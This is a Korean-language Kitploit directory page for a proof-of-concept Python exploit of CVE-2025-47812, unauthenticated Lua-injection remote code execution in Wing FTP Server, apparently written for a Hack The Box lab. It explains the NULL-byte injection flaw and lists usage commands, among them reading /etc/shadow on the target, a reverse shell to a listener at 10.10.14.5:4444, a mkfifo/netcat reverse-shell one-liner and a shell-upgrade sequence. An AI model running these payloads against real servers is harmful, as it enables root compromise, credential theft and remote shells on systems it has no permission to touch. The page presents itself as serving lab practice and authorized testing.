Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-47812 — CVE-2025-47812 Poc for wingdata HTB | Kitploit
도구/GitHubGitHub/0xs4n4tg/cve-2025-47812
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHub0xs4n4tg/cve-2025-47812

CVE-2025-47812

CVE-2025-47812 Poc for wingdata HTB

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-47812 — Wing FTP Server 무인증 RCE (재작성)

Wing FTP Server ≤ 7.4.3에서 무인증 Lua 인젝션 RCE를 위한 Python 익스플로잇입니다. 쉘 전달을 위해 설계되었습니다 — check 하나의 명령으로 작동하는 netcat 콜백까지.

한동안 HTB의 wingData 랩을 위해 작성되었으며 현재 오픈소스로 공개되었습니다. 소유하고 있거나 테스트할 서면 허가를 받은 시스템에만 사용하세요.

Credits

  • 취약점 연구: Julien (@MrTuxracer) — NULL이란?! Wing FTP Server RCE (CVE-2025-47812)
  • 원본 PoC: @4m3rr0r — github.com/4m3rr0r/CVE-2025-47812-poc
  • 이 저장소: 위 PoC를 재작성한 것으로, 약간 더 기능적이고 사용하기 쉽습니다.

취약점 요약

Wing FTP의 c_CheckUser()는 인증 시 첫 번째 NULL 바이트에서 username을 자르지만, 세션 생성 경로는 전체 정제되지 않은 사용자 이름을 Lua 세션 파일에 씁니다. anonymous%00]]<lua>--를 주입하면 서버가 기쁘게 Lua를 세션에 씁니다. 인증된 엔드포인트(dir.html이 작동)를 치면 loadfile() → f()를 통해 해당 세션 파일을 로드하여, 주입된 코드를 root / SYSTEM으로 실행합니다.

영향받는 버전: Wing FTP Server ≤ 7.4.3. 7.4.4에서 수정됨.

설치

root@kitploit:~
pip install requests

이것으로 끝입니다 — 다른 종속성은 없습니다.

사용법

root@kitploit:~
# 1. 대상이 취약한지 확인 (id 실행 후 uid= 확인)
python3 exploit.py -u http://target:5466/ check

# 2. 단일 명령 실행 — stdout과 stderr 모두 캡처
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"

# 3. 리버스 쉘 (쉬운 방법)
#    터미널 1:
nc -lvnp 4444
#    터미널 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444

# 4. 분리된 임의 페이로드 — 발사 후 망각. bash가 없을 때 유용:
python3 exploit.py -u http://target:5466/ detached \
  "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"

플래그

팁

  • 먼저 포트를 확인하세요. 웹 UI는 기본적으로 80 포트가 아닙니다 — URL이 잘못되었다고 가정하기 전에 브라우저에서 http://target:5466/login.html을 시도해보세요.
  • shell 모드가 콜백을 받지 못하면, 위의 mkfifo 페이로드와 함께 detached로 대체하세요. 일부 최소 Linux 이미지에는 bash가 포함되어 있지 않습니다.
  • 쉘이 잡히면 업그레이드하세요:
    root@kitploit:~
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    # Ctrl+Z
    stty raw -echo; fg
    # Enter, Enter
    export TERM=xterm
    

고지사항

교육 목적 및 승인된 보안 테스트에만 사용하세요. 이 도구를 사용하는 대상에 대한 책임은 사용자에게 있습니다.

라이선스

MIT — LICENSE 참조.

도구 다운로드
플래그기본값용도
-u, --url필수대상 기본 URL — Wing FTP는 일반적으로 :5466 (HTTP) 또는 :5467 (HTTPS)에서 수신합니다.
-U, --usernameanonymousNULL 바이트 앞의 사용자 이름. 기본 설치에서는 anonymous가 작동합니다.
-P, --password비어 있음인젝션 POST를 위한 비밀번호. anonymous의 경우 비어 있어도 됩니다.
-v, --verboseoffLua 페이로드, 접속한 URL 및 원시 응답 본문을 덤프합니다.